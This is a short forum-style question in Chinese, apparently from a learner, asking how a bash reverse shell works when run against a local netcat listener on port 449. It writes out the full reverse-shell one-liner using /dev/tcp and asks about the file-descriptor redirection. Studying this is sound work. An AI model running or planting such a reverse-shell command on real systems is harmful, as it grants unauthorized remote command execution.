我有一个使用 netcat 在 localhost 上为端口 449 运行的侦听器。
在同样在 localhost 上运行的单独终端中,我可以运行以下命令:
bash -c "bash -i >&/dev/tcp/127.0.0.1/449 0>&1"
然后我可以通过 netcat 连接输入命令并且它们成功执行。我可以分解上面的命令,我可以看到上面的 bash shell 将其 stderr 和 stdout 写入套接字文件描述符,该描述符被发送到我的机器并最终被 netcat 监听。此外,我可以看到标准输入被发送到标准输出,然后由外部 bash 命令执行。
关于这个的几个问题:
- 设置 bash 终端以接受来自 netcat 的标准输入的机制是什么?标准输入不会在命令中的任何地方重定向。
- 外部 bash shell 如何执行多个来自内部 bash shell 的命令输出?我最初的想法是它只能执行一个命令。